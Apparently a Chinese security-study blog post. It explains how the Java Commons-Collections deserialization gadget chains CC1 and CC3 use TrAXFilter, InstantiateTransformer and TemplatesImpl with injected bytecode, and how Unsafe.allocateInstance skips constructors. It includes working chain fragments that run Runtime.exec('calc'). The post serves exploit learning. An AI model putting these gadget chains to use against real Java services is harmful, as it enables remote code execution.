关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象

第一个问题

今天在又看cc3的时候想不通一个问题,就是关于TrAXFilter这个类,我们看到这个类的构造方法

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

会直接触发templates.newTransformer();,而且这个构造方法是public的,所以我根本不需要再添加其他代码,只需要实例化它就可以直接弹出计算机了,为什么还需要InstantiateTransformer类来实例化它呢?

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates= new TemplatesImpl();
        setFiledValue(templates,"_name","ljl" );
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));
        byte[][] codes = {code};
        setFiledValue(templates,"_bytecodes",codes);
        setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());
        TrAXFilter trAXFilter =new TrAXFilter(templates);
        serialize(trAXFilter);
        unserialize("1.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

    public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = object.getClass();
        Field field = clazz.getDeclaredField(name);
        field.setAccessible(true);
        field.set(object,filed_value);
    }

}

运行后可以弹出计算器

解决

于是带着这个疑惑问了一下java✌,最后也是学到了很多,不得不说,学到了
java✌问了我一个问题?
反序列化的时候会调用这个public的构造方法吗?
我懵逼了,不懂什么意思
然后java✌给我讲解了一番,这里我们看看这样一个例子,还记得cc1链
我们利用Runtime类是这样利用的

Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

但是我们看到Runtime

public static Runtime getRuntime() {
        return currentRuntime;
    }

是有一个public方法是可以获取到它的,为什么还要这么麻烦呢?
才想起是因为Runtime是没有继承序列化接口的,所以如果你直接实例化它,它是不能进行序列化的,也就不会反序列化了,所以我们得利用继承了序列化接口的类去搭

第二个问题

在讲解的过程中,我们在尝试利用反射去实例化
TrAXFilter类的时候又发生了一个问题

public class Test1 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {
        Class clazz = TrAXFilter.class;
        Constructor constructor =clazz.getDeclaredConstructor(null);
    }

在尝试去反射获取构造方法的时候报错

Exception in thread "main" java.lang.NoSuchMethodException: com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)
	at java.lang.Class.getConstructor0(Class.java:3082)
	at java.lang.Class.getDeclaredConstructor(Class.java:2178)
	at org.example.Test1.main(Test1.java:23)

找不到方法,我们尝试了很久,都没有获取到,于是java爷给我讲了一个unsafe类,可以无视构造方法实例化一个类

public class Test1 {
    public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException {
        Class clazz = Unsafe.class;
        Constructor constructor = clazz.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        Unsafe unsafe = (Unsafe) constructor.newInstance(null);
        Object p=unsafe.allocateInstance(TrAXFilter.class);
        System.out.println(p);
    }
//输出com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter@74a14482

可以发现获取成功了,nice,nice

相关推荐

  1. JVM学习——以及过程

    2024-04-26 06:20:03       38 阅读
  2. 如何自定义双亲委派中

    2024-04-26 06:20:03       33 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-26 06:20:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-26 06:20:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-26 06:20:03       82 阅读
  4. Python语言-面向对象

    2024-04-26 06:20:03       91 阅读

热门阅读

  1. 关于kafka,关于消息队列、消息协议

    2024-04-26 06:20:03       32 阅读
  2. lua中的pcall和xpcall和直接调用一个函数的区别

    2024-04-26 06:20:03       30 阅读
  3. h5键盘弹出收起时引起的页面变化

    2024-04-26 06:20:03       30 阅读
  4. AI辅助编码体验

    2024-04-26 06:20:03       26 阅读
  5. Spring 数据脱敏实现方式

    2024-04-26 06:20:03       32 阅读
  6. 设计模式详解(十七)——迭代子模式

    2024-04-26 06:20:03       38 阅读
  7. DAC音频解码芯片DP7398立体声数模转换芯片

    2024-04-26 06:20:03       28 阅读
  8. Apache Flink 流处理-[CentOS|Rocky] 镜像

    2024-04-26 06:20:03       25 阅读
  9. 使用Python实现简单的Web服务器

    2024-04-26 06:20:03       39 阅读
  10. 【C语言】内存泄漏调试方式

    2024-04-26 06:20:03       30 阅读